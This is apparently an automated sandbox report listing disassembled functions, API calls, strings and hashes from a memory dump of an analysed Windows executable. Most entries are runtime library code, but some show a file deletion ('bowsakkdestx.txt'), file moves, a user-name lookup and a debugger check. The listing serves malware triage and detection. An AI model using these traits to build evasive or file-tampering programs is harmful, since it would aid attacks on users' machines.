Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(006C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(006C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(006C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

